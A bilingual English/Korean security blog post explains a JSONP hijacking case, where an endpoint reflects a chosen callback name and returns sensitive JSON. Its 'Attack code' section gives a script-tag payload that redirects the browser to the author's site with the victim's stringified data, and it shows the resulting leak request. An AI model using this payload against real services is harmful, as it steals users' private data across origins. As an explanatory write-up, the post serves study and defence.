JSONP Hijacking
Hi hackers. It’s a long time I didn’t write blog post. I found JSONP Hijacking a not SOP case. I’m going to briefly explain it. 오랜만에 SOP우회가 아닌 JSONP Hijacking 발견해서 간략하게 내용 풀어봅니다.
This is not a new technique. It’s a very old traditional technique. These days, it’s hard to get case because to many use Ajax-based(CORS) JSON. [ plz don’t make the wrong retweets :( ] 물론 이건 새로운 기술은 아니네요. 걍 좀 오래된거긴한데, 아무래도 최근 JSON 처리 방식으로 트렌드로 인해서 접하기 어려워진 부분은 확실합니다.
Vulnerable web service
Usually, many web servers request and process data based on JSON. Of course, local applications are on the same page. 보통 많은 웹 서버들이 JSON을 기반으로 데이터를 요청하고 처리합니다. 물론 로컬의 어플리케이션들도 비슷한 추세입니다.
There is a wide variety of data that is handled with JSON From the values for rendering web pages, to the logs, to the user’s personal data, to important data, it’s used in a lot of places. JSON으로 처리되는 데이터는 굉장히 다양합니다. 웹 페이지 렌더링을 위한 값들부터, 로그, 사용자 개인 데이터, 중요한 데이터까지 정말 많은 곳에서 사용되고 있죠
Ajax call, Jquery $, xmlhttprequest, etc…, which can handle JSON requests, are affected by SOP, so data transfer is not possible except for the same domain. To this end, white list is specified by CORS header. So a lot of JSONP Hijacking starts with the wrong settings of CORS. 대체로 JSON 요청을 처리할 수 있는 Ajax call, Jquery get, XMLhttprequest 등은 SOP의 영향을 받고 있기 때문에 동일 도메인 이외에는 데이터 전달이 불가능하고, 이를 위해 CORS 헤더로 white list를 명시해주어 사용합니다. 그래서 많은 JSONP Hijacking이 CORS의 잘못된 설정으로 부터 시작하는 경우가 많습니다. 또는 동일 도메인에서의 XSS와 체인 어택으로 하는 분들이 있긴 합니다.. 뭐 이건 중요한게 아니니
I’ve arranged some information about SOP and JSONP Hijacking before, so please refer to the links below. SOP와 JSONP Hijacking에 대한 내용은 예전에 정리해둔게 있으니 아래 링크 참고해주세요.
https://www.hahwul.com/2016/12/web-hacking-sopsame-origin-policy-web.html
Vulnerable web service
대략 이런 기능을 하는 페이지가 있었습니다.
[ Request ]
GET /getData?callback=abcd HTTP/1.1
Referer: www.hahwul.com
[ Response ]
200 OK
abcd({"name":"data~~"})
This is a function that return important values when a data is requested, of course there was no CORS setting and no normal JSONP Hijacking is possible. 어떤 데이터를 요청하면 그에 따른 중요한 값을 넘겨주는 기능인데, 당연히 CORS 설정은 없었고 일반적인 JSONP Hijacking은 불가능합니다.
As you can see in the request above, you can specify a callback, which is exposed in response. This is also a point for RXSS, but it has no direct impact because the application type is json. 위에 요청을 보면 아시겠지만, callback을 지정해줄 수 있고 이는 response에서 노출됩니다. 이 또한 RXSS의 포인트이긴하나, application type이 json이기 때문에 직접적인 영향은 없습니다.
It’s summarized into three. 정리하면 이렇습니다.
1) JSON Call for secret data
2) reflected callback
3) no check referer.. (my case.. bypass referer check logic)
JSONP Hijacking with <script/src>
Can specify the required value for callback. This will be used as the value that is loaded into the script when invoked in the <script> tag.
우리는 callback에 필요한 값을 지정해줄 수 있습니다. 이는 <script> 태그 등에서 호출됬을 때 스크립트에 로드되는 값으로 사용하게 됩니다.
<script src="1.js">
</script>
<!--
//in 1.js
alert(45)
-->
Run alert function on script/src domain. 이러면 script/src를 호출한 도메인에서 alert이 실행되죠.
When inserted into the payload below, sensitive information is read from the target domain and passed to the attacker site. 우리는 callback의 이름을 지정해 줄 수 있어 이런 형태의 페이로드로 전달해주면 공격자의 사이트로 넘겨줄 수 있습니다.
[ Attack code ]
<script src="target.domain.com/getData?callback=document.location.href='https://www.hahwul.com?'+JSON.stringify"></script>
<!--
+ JSON.stringify : JSON format to String
+ CSP 우회에도 비슷한 방식이 사용됩니다.
-->
[ Response ]
document.location.href='https://www.hahwul.com?'+JSON.stringify({"name":"data~~"})
[ Next request on attacker site ]
GET /?{\"name\":\"data~~~~\"}
Host: www.hahwul.com